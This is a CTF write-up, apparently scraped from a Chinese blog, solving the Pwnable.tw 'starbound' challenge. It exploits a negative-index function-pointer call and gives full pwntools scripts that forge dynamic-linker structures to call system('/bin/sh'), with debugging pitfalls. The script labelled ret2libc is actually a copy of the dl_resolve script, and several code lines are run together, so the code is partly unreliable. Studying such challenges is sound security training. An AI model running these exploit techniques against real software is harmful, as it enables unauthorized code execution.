题目:Pwnable.tw-starbound
解法1:ret2libc
1.进入程序进行观察:

这是一个交互小游戏,存在多处用户输入的位置,很有可能存在栈溢出漏洞。

2.查看文件保护状态:

3.使用IDA中查看文件内容:

这个文件较之平时的其他题目代码量大了很多,存在许多输入位置,但是找了一圈没有可以直接利用的栈溢出漏洞。

4.在反汇编代码中发现一个逻辑漏洞:

在用户输入时,程序只对输入值进行了strtol()处理,并把该值作为数组下标,也就是说对于输入的数字只要不为零都是可以利用p_choice指针调用到我们想要的指针。另外虽然我们的输入数字之后的内容都会被过滤掉,但是其内容还是可以完整地写入内存中,这可以作为后续利用的地方。

5.观察p_choice在bss段中的位置:

可以发现在p_choice的低地址方向存在着用户可控的p_playername字段,也就是说只要我们提前控制了p_playername中的内容,就可以操纵p_choice对任意代码进行调用。

6.分析调用函数时的栈状态:

可以看到进入被调函数时栈顶的参数对于我们来说用处不大,无法直接作为常用的pwn函数如read、gets、puts等的参数。所以我们需要寻找一段合适的ROP改变这个情况。

7.寻找可利用的ROP:
寻找过程中存在几种不同的思路,一是因为在汇编代码中可以发现read函数的写入地址由ebx决定,所以我们可以寻找能够将ebx中的地址改为一个更高的地址的gadget,这样就可以直接修改当前栈帧的ebp和返回地址;二是将ebp地址改为一个更低的地址,原理同一;三是在步骤4中我们发现输入的数字之后的内容是可控的,那我们可以将esp往高地址移动,这样就可以对ROP的返回地址或后续被调函数的参数进行控制……
根据以上思路使用ROPgadget工具寻找合适的ROP,最终确定一个合适的ROP:

这个ROP符合我们第三种思路,这样我们就可以通过步骤4中的逻辑漏洞控制ROP的返回地址。

8.确认攻击方法并构造payload
此时存在几种攻击思路,一是从ROP返回到puts函数执行ret2libc攻击方式;二是继续寻找能够改变寄存器值的ROP,执行ret2syscall攻击方式;三是dl_resolve……
我选择了第一种思路,构造payload如下:

from pwn import *r = process("./starbound")
elf = ELF('./starbound')
rel_plt_addr = elf.get_section_by_name('.rel.plt').header.sh_addr   #0x80487c8
dynsym_addr =  elf.get_section_by_name('.dynsym').header.sh_addr    #0x80481dc
dynstr_addr = elf.get_section_by_name('.dynstr').header.sh_addr     #0x80484fc
resolve_plt = 0x08048940
add_addr=0x08048e48
ppp_ret_addr=0x80491ba
start=0x08057D90+0x10       #0x08057da0
align=0x8-(start-20-rel_plt_addr)%0x8
start+=align                #0x8057da4fake_rel_plt_addr = start                                       #0x8057da4
fake_dynsym_addr = fake_rel_plt_addr + 0x8                      #0x8057dac
fake_dynstr_addr = fake_dynsym_addr + 0x10                      #0x8057dac
bin_sh_addr = fake_dynstr_addr + 0x7                            #0x8057da3
n = fake_rel_plt_addr - rel_plt_addr                            #0xf5dc
r_info = (((fake_dynsym_addr - dynsym_addr)/0x10) << 8) + 0x7   #0xfbd07
str_offset = fake_dynstr_addr - dynstr_addr                     #0xf8d0
fake_rel_plt = p32(elf.got['read']) + p32(r_info)
fake_dynsym = p32(str_offset) + p32(0) + p32(0) +p32(0)
fake_dynstr = "system\x00/bin/sh\x00\x00"r.recvuntil('> ')
r.sendline('6')
r.recvuntil('> ')
r.sendline('2')
r.recvuntil('Enter your name: ')
r.sendline(p32(add_addr))
r.recvuntil('> ')payload = '-33\0aaaa'
payload += p32(elf.plt['read'])+p32(ppp_ret_addr)+p32(0)+p32(start)+p32(150)
payload += p32(resolve_plt) + p32(n) +'abcd' + p32(bin_sh_addr)
r.sendline(payload)
payload2 = fake_rel_plt + fake_dynsym + fake_dynstrr.sendline(payload2)
r.interactive()

9.pwn!

踩坑总结:

  1. 这个程序需要一个额外的加密库libcrypto.so.4,如果在外网的话直接可以apt-get安装,而内网中ubuntu环境无法联网,所以需要自行安装。
      通过网上查找可知这个包是包含在libssl1.0.0.0中,可以在launchpad.net或者pkgs.org找到对应版本的deb文件直接安装。
  2. 在使用pwntools中的sendlineafter()方法时,参数中的’> ’一开始少打了一个空格,就导致了后续的recv()方法接收一个空格而无法正确使用u32进行unpack,提示错误u32 unpack requires a string argument of length 4。
    在>后加一个空格!
  3. 使用LibcSearcher库时一直无法找到system函数的位置或者直接无法泄露出got表位置,显示No match或者error。
    换一个低版本的动态库或多尝试通过其他函数来泄露,没有找到特别有效的方法,比如我试了很多次只有通过puts能泄露成功,其他诸如__libc_start_main或者read之类的都不行。
  4. 在获取到libc函数库的地址后,因为此时我们已经改变了栈顶指针的位置,如果不处理的话我们下一次read输入的位置会在esp之上,如下图所示,这会造成段错误,所以需要谨慎选择puts之后的返回地址。

这里方法肯定有很多,不过懒惰的我选择了最直接的让程序从头开始,这样就会构造一个全新的栈帧,但是需要重新去控制playername中的内容。

解法2:dl_resolve
9.接着解法1的步骤8,选择dl_resolve攻击方式进行解题。构造栈如下:

10.根据栈结构写POC并成功拿到shell

from pwn import *r = process("./starbound")
elf = ELF('./starbound')
rel_plt_addr = elf.get_section_by_name('.rel.plt').header.sh_addr   #0x80487c8
dynsym_addr =  elf.get_section_by_name('.dynsym').header.sh_addr    #0x80481dc
dynstr_addr = elf.get_section_by_name('.dynstr').header.sh_addr     #0x80484fc
resolve_plt = 0x08048940
add_addr=0x08048e48
ppp_ret_addr=0x80491ba
start=0x08057D90+0x10       #0x08057da0
align=0x8-(start-20-rel_plt_addr)%0x8
start+=align                #0x8057da4fake_rel_plt_addr = start                                       #0x8057da4
fake_dynsym_addr = fake_rel_plt_addr + 0x8                      #0x8057dac
fake_dynstr_addr = fake_dynsym_addr + 0x10                      #0x8057dac
bin_sh_addr = fake_dynstr_addr + 0x7                            #0x8057da3
n = fake_rel_plt_addr - rel_plt_addr                            #0xf5dc
r_info = (((fake_dynsym_addr - dynsym_addr)/0x10) << 8) + 0x7   #0xfbd07
str_offset = fake_dynstr_addr - dynstr_addr                     #0xf8d0
fake_rel_plt = p32(elf.got['read']) + p32(r_info)
fake_dynsym = p32(str_offset) + p32(0) + p32(0) +p32(0)
fake_dynstr = "system\x00/bin/sh\x00\x00"r.recvuntil('> ')
r.sendline('6')
r.recvuntil('> ')
r.sendline('2')
r.recvuntil('Enter your name: ')
r.sendline(p32(add_addr))
r.recvuntil('> ')payload = '-33\0aaaa'
payload += p32(elf.plt['read'])+p32(ppp_ret_addr)+p32(0)+p32(start)+p32(150)
payload += p32(resolve_plt) + p32(n) +'abcd' + p32(bin_sh_addr)
r.sendline(payload)
payload2 = fake_rel_plt + fake_dynsym + fake_dynstrr.sendline(payload2)
r.interactive()

踩坑总结:

  1. 遇到的唯一坑就是start地址选择,不知道为什么会触发到64位中那个要设置link_map+0x1c8=0的问题,也就是versym+2*r_sym的地址不可访问,直接报段错误:

用gdb调试到发生错误的位置附近, eax是.dynamic表的地址,所以问题出在edx上。一步步调试可以看到edx的值是怎么来的。

在0xf7f586c8中发现edx是由esi决定,而esi是我们伪造的r_info值,所以只能是先把[edx+esi*2]附近的地址打印出来找到合适的值,然后再回去控制r_info和start的值。(而且不清楚合适的值是不是只能为0,我经过计算找了另一个值确实通过了图1中报段错误的那个指令,但是在后面又会报新的错误)
所以这道题说明32位的程序也是有关于versym+2*r_sym的问题,只不过在64位中更常见,所以遇到错误的时候还是要注意一下,在选择start地址时除了字节对其之外还要考虑很多东西。

pwnable.tw-2018-starbound_writeup相关推荐

  1. pwnable.tw startorw

    emm,之前一直想做tw的pwnable苦于没有小飞机(,今天做了一下发现都是比较硬核的pwn题目,对于我这种刚入门?的菜鸡来说可能难度刚好(orz 1.start 比较简单的一个栈溢出,给出一个li ...

  2. Pwnable.tw之BookWriter

    Pwnable.tw之BookWriter 知识点 FSOP是FILE Stream Oriented Programming的缩写, 进程内所有的_IO_FILE结构会使用_chain域相互连接成一 ...

  3. pwnable.tw unexploitable 分析

    这题是和pwnable.kr差不多的一道题,主要区别在于没有给syscall.所以需要自己去找. 只有read和sleep两个函数. 思路一是首先劫持堆栈到bss段,然后调用read函数将sleep的 ...

  4. 【pwnable.tw】 death_note

    题目逻辑比较简单,大概增加和删除和打印三个功能: show函数中,打印各日记内容,由于这题没有给出libc文件,应该不需要泄露地址,估计用处不大: delete函数中,正常的free,然后指针修改为n ...

  5. pwn with glibc heap(堆利用手册)

    前言 ​ 对一些有趣的堆相关的漏洞的利用做一个记录,如有差错,请见谅. ​ 文中未做说明 均是指 glibc 2.23 ​ 相关引用已在文中进行了标注,如有遗漏,请提醒. 简单源码分析 ​ 本节只是简 ...

  6. 计算机、网络安全、CTF资源总结-The_Growth_Path_Of_A_Pwner(一名安全从业者的成长之路)

    The_Growth_Path_Of_A_Pwner(一名安全从业者的成长之路) github项目,会不断更新,求个star! https://github.com/tangzichengcc/The ...

  7. 网络安全学习资源分享

    提高技能  网络安全学习资源汇总 项目 描述 OWASP安全的牧羊人(https://security-shepherd.ctf365.com/login.jsp) 作为11/6破 ctflearn( ...

  8. linux 获取 基地址,linux - 每个函数加载的glibc基地址不同。 - SO中文参考 - www.soinside.com...

    我试图计算一个二进制文件的库的基地址.我有printf,putes ecc的地址,然后我减去它的偏移量,得到库的基地址.我对printf,putes和signal这样做,但每次我得到的基地址都不一样. ...

  9. 内容管理系统 Nuxeo认证绕过和RCE漏洞(CVE-2018-16341) 分析

    目录 简介 影响范围 漏洞复现 执行系统命令 认证绕过 认证绕过分析 RCE 分析 补丁分析 参考链接 简介 Nuxeo Platform是一款跨平台开源的企业级内容管理系统(CMS). nuxeo- ...

  10. PWN-PRACTICE-BUUCTF-18

    PWN-PRACTICE-BUUCTF-18 ciscn_2019_final_3 ciscn_2019_s_9 jarvisoj_level5 pwnable_hacknote ciscn_2019 ...

最新文章

  1. 23张图!万字详解「链表」,从小白到大佬!
  2. OpenFeign的9个坑,每个都能让你的系统奔溃 OpenFeign
  3. Unity3D研究院之与Android相互传递消息
  4. 刚毕业的ERP实施顾问做甲方
  5. jdbc和jdbc驱动_JDBC布尔兼容性列表
  6. 算法题10 最长等差序列问题
  7. 7.边缘检测:2D运算——Canny的不同结果、单个2D边缘检测滤波器、实现边缘3种方法Matlab实战_3
  8. ghost还原固态硬盘_最完整用GHOST安装UEFI(GPT)引导的系统请关注收藏
  9. 机器学习入门笔记(七):聚类
  10. java调用数据库存储过程_Java调用SQL Server的存储过程详解
  11. C语言程序设计基础实验教程,C语言程序设计基础实验教程
  12. html字体颜色闪动,HTML最简单的文字闪烁代码
  13. JavaScript服务器端高级编程(Array.indexOf()和lastIndexOf()方法)
  14. 哈佛引用格式(Harvard referencing system)
  15. 汽车维修企业管理【5】
  16. 100kW以上 中高频感应加热电源 双DSP数字式IGBT控制板
  17. jeecms v9图标不显示问题
  18. Linux学习笔记(四)Linux基础操作
  19. 《2020年全球程序员收入报告》,看完报告我酸了!
  20. Teams app 的 SSO 机制

热门文章

  1. 闭环系统零、极点位置对时间响应性能指标的影响
  2. 3.VM虚拟机网络设置--仅主机模式
  3. Excel单元格自定义数值格式详细测试整理 及 Python用openpyxl设置Excel单元格属性——数值格式
  4. html5画智利国旗,智利国旗与得州州旗,你能分的清么?
  5. 秦小明 第六讲 投融资,资产运作
  6. 可能是讲分布式系统最到位的一篇文章
  7. android模拟器的录屏,夜神安卓模拟器如何录制视频
  8. 汉语语句的计算机分析,(计算机专业毕业论文)汉语语法自动分析.doc
  9. 关于椰子汁的学问,你知道多少?
  10. Amesim学习——弹球仿真